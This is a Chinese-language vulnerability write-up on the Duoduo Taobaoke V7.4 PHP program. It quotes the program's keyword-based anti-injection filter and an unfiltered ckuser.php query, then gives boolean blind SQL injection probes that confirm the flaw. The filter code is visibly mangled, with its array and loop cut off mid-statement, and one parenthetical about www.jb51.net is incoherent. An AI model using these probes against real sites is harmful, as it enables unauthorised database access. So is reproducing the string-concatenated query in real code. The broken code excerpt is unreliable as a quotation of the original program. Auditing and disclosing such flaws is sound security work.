多多淘宝客V7.4防注入绕过及注入漏洞分析

该程序为开源项目，因此我们直接下载了源代码进行安全审计。可以发现，开发者具备一定的安全防范意识——在代码中加入了防注入过滤函数：

//要过滤的非法字符 
$ArrFiltrate = array ( 
"#union#i", 
"##i", 
"#select#i", 
"#alert#i", 
"#ja vascript#i", 
"# $value) 
{ 
if (is_array($value)) 
FunStringExist($array[$key],$ArrFiltrate,$replacements); 
else 
$array[$key] = preg_replace($ArrFiltrate, $replacements, $value); 
} 
} 
} 
FunStringExist($_GET,$ArrFiltrate,$replacements); 
FunStringExist($_POST,$ArrFiltrate,$replacements);

然而深入分析后发现，该防注入机制并不完善。它仅对 GET 和 POST 参数进行了过滤（原文中误写为 www.jb51.net），但系统中多处使用 $_REQUEST 获取数据。只要存在未调用该过滤函数的文件，就会产生安全漏洞。

例如，另一个文件 ckuser.php 并未包含该防注入函数，而是直接拼接 SQL 查询语句，仅受 GPC（全局变量转义）影响：

header("Content-Type:text/html;charset=utf-8"); 
include "../comm/config.php"; 
$uname = trim($_GET["name"]); 
if($uname==''){ 
echo "true"; 
}else{ 
$con = @mysql_connect("$dbserver","$dbuser","$dbpass" )or die(ERR_DB); 
mysql_select_db("$dbname",$con)or die("can not choose the dbname!"); 
$query="select * from ".$BIAOTOU."user where ddusername='".$uname."'"; 
mysql_query("set names utf8"); 
$res=mysql_query($query); 
if(mysql_num_rows($res)!=0) 
{echo "true";} 
else 
{echo "false";} 
}

接下来是典型的布尔盲注测试流程。首先注册一个用户，使程序可以通过用户名是否存在进行判断：

ckuser.php?name=maxadd' and 1=1 and ''=' → 返回 true

ckuser.php?name=maxadd' and 1=2 and ''=' → 返回 false

至此，注入点已确认，后续只需进行常规的盲注猜解操作即可。